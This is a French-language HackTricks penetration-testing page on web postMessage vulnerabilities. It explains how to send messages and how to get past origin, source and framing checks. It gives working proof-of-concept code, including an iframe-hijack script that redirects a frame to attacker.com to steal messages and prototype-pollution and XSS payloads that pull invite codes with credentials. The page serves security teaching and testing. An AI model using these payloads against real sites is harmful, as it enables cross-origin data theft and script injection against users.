hacktricks/pentesting-web/postmessage-vulnerabilities
2024-05-05 22:09:31 +00:00
..
blocking-main-page-to-steal-postmessage.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:11:01 +00:00
bypassing-sop-with-iframes-1.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:11:01 +00:00
bypassing-sop-with-iframes-2.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:11:01 +00:00
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:09:31 +00:00
steal-postmessage-modifying-iframe-location.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:11:01 +00:00

Vulnérabilités PostMessage

Vulnérabilités PostMessage

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

Autres façons de soutenir HackTricks :

WhiteIntel

WhiteIntel est un moteur de recherche alimenté par le dark web qui offre des fonctionnalités gratuites pour vérifier si une entreprise ou ses clients ont été compromis par des logiciels malveillants voleurs.

Le but principal de WhiteIntel est de lutter contre les prises de contrôle de compte et les attaques de ransomware résultant de logiciels malveillants volant des informations.

Vous pouvez consulter leur site Web et essayer leur moteur gratuitement sur :

{% embed url="https://whiteintel.io" %}


Envoyer un PostMessage

PostMessage utilise la fonction suivante pour envoyer un message :

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Notez que targetOrigin peut être un '*' ou une URL comme https://company.com.
Dans le deuxième scénario, le message ne peut être envoyé qu'à ce domaine (même si l'origine de l'objet fenêtre est différente).
Si le joker est utilisé, les messages pourraient être envoyés à n'importe quel domaine, et seront envoyés à l'origine de l'objet Window.

Attaque de l'iframe & joker dans targetOrigin

Comme expliqué dans ce rapport si vous trouvez une page qui peut être iframée (pas de protection X-Frame-Header) et qui envoie un message sensible via postMessage en utilisant un joker (*), vous pouvez modifier l'origine de l'iframe et exposer le message sensible vers un domaine contrôlé par vous.
Notez que si la page peut être iframée mais que le targetOrigin est défini sur une URL et non sur un joker, ce truc ne fonctionnera pas.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

Exploitation de addEventListener

addEventListener est la fonction utilisée par JS pour déclarer la fonction qui attend les postMessages.
Un code similaire à celui ci-dessous sera utilisé :

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

Notez dans ce cas comment la première chose que le code fait est de vérifier l'origine. C'est terriblement important surtout si la page doit faire quelque chose de sensible avec les informations reçues (comme changer un mot de passe). Si elle ne vérifie pas l'origine, les attaquants peuvent faire en sorte que les victimes envoient des données arbitraires à ces points de terminaison et changer les mots de passe des victimes (dans cet exemple).

Énumération

Pour trouver des écouteurs d'événements dans la page actuelle, vous pouvez :

  • Rechercher le code JS pour window.addEventListener et $(window).on (version JQuery)
  • Exécuter dans la console des outils de développement : getEventListeners(window)

  • Aller à Elements --> Écouteurs d'événements dans les outils de développement du navigateur

Contournements de vérification de l'origine

  • L'attribut event.isTrusted est considéré comme sécurisé car il renvoie True uniquement pour les événements générés par des actions d'utilisateur authentiques. Bien qu'il soit difficile à contourner s'il est implémenté correctement, son importance dans les vérifications de sécurité est notable.
  • L'utilisation de indexOf() pour la validation de l'origine dans les événements PostMessage peut être sujette à des contournements. Un exemple illustrant cette vulnérabilité est :
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • La méthode search() de String.prototype.search() est destinée aux expressions régulières, pas aux chaînes de caractères. Passer autre chose qu'une expression régulière entraîne une conversion implicite en regex, rendant la méthode potentiellement non sécurisée. Cela est dû au fait qu'en regex, un point (.) agit comme un caractère générique, permettant de contourner la validation avec des domaines spécialement conçus. Par exemple :
"https://www.safedomain.com".search("www.s.fedomain.com")
  • La fonction match(), similaire à search(), traite les regex. Si le regex est mal structuré, il pourrait être sujet à des contournements.

  • La fonction escapeHtml est destinée à nettoyer les entrées en échappant les caractères. Cependant, elle ne crée pas un nouvel objet échappé mais écrase les propriétés de l'objet existant. Ce comportement peut être exploité. En particulier, si un objet peut être manipulé de telle sorte que sa propriété contrôlée ne reconnaît pas hasOwnProperty, escapeHtml ne fonctionnera pas comme prévu. Cela est démontré dans les exemples ci-dessous :

  • Échec attendu :

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Contournement de l'échappement :
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

Dans le contexte de cette vulnérabilité, l'objet File est notablement exploitable en raison de sa propriété name en lecture seule. Cette propriété, lorsqu'elle est utilisée dans des modèles, n'est pas nettoyée par la fonction escapeHtml, ce qui entraîne des risques potentiels pour la sécurité.

  • La propriété document.domain en JavaScript peut être définie par un script pour raccourcir le domaine, permettant une application plus souple de la politique de même origine dans le même domaine parent.

Contournement de e.origin == window.origin

Lors de l'intégration d'une page web dans un iframe sandboxé en utilisant %%%%%%, il est crucial de comprendre que l'origine de l'iframe sera définie sur null. Cela est particulièrement important lorsqu'il s'agit des attributs sandbox et de leurs implications sur la sécurité et la fonctionnalité.

En spécifiant allow-popups dans l'attribut sandbox, toute fenêtre contextuelle ouverte depuis l'iframe hérite des restrictions du sandbox de son parent. Cela signifie que sauf si l'attribut allow-popups-to-escape-sandbox est également inclus, l'origine de la fenêtre contextuelle est également définie sur null, ce qui correspond à l'origine de l'iframe.

Par conséquent, lorsqu'une fenêtre contextuelle est ouverte dans ces conditions et qu'un message est envoyé de l'iframe à la fenêtre contextuelle en utilisant postMessage, les origines d'envoi et de réception sont définies sur null. Cette situation conduit à un scénario où e.origin == window.origin est évalué à true (null == null), car l'iframe et la fenêtre contextuelle partagent la même valeur d'origine null.

Pour plus d'informations, lisez :

{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

Contournement de e.source

Il est possible de vérifier si le message provient de la même fenêtre à laquelle le script écoute (particulièrement intéressant pour les Scripts de contenu des extensions de navigateur pour vérifier si le message a été envoyé depuis la même page) :

// If its not, return immediately.
if( received_message.source !== window ) {
return;
}

Vous pouvez forcer e.source d'un message à être nul en créant un iframe qui envoie le postMessage et est immédiatement supprimé.

Pour plus d'informations, lisez :

{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

Contournement de l'en-tête X-Frame

Pour effectuer ces attaques, idéalement, vous pourrez mettre la page web victime à l'intérieur d'un iframe. Mais certains en-têtes comme X-Frame-Header peuvent empêcher ce comportement.
Dans ces scénarios, vous pouvez toujours utiliser une attaque moins discrète. Vous pouvez ouvrir un nouvel onglet vers l'application web vulnérable et communiquer avec elle :

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Vol de message envoyé à l'enfant en bloquant la page principale

Sur la page suivante, vous pouvez voir comment vous pourriez voler des données sensibles postmessage envoyées à un iframe enfant en bloquant la page principale avant d'envoyer les données et en abusant d'un XSS dans l'enfant pour exfiltrer les données avant qu'elles ne soient reçues :

{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

Vol de message en modifiant l'emplacement de l'iframe

Si vous pouvez intégrer une page web sans en-tête X-Frame contenant un autre iframe, vous pouvez modifier l'emplacement de cet iframe enfant, donc s'il reçoit un postmessage envoyé en utilisant un joker, un attaquant pourrait modifier l'origine de cet iframe vers une page contrôlée par lui et voler le message :

{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

postMessage vers Pollution de Prototype et/ou XSS

Dans les scénarios où les données envoyées via postMessage sont exécutées par JS, vous pouvez intégrer la page et exploiter la pollution de prototype/XSS en envoyant l'exploit via postMessage.

Un couple de XSS très bien expliqués via postMessage peuvent être trouvés dans https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Exemple d'une exploitation pour abuser de la pollution de prototype puis du XSS via un postMessage vers un iframe:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

Pour plus d'informations :

Références

WhiteIntel

WhiteIntel est un moteur de recherche alimenté par le dark web qui offre des fonctionnalités gratuites pour vérifier si une entreprise ou ses clients ont été compromis par des logiciels malveillants voleurs.

Le but principal de WhiteIntel est de lutter contre les prises de contrôle de compte et les attaques de ransomware résultant de logiciels malveillants volant des informations.

Vous pouvez consulter leur site Web et essayer leur moteur gratuitement sur :

{% embed url="https://whiteintel.io" %}

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :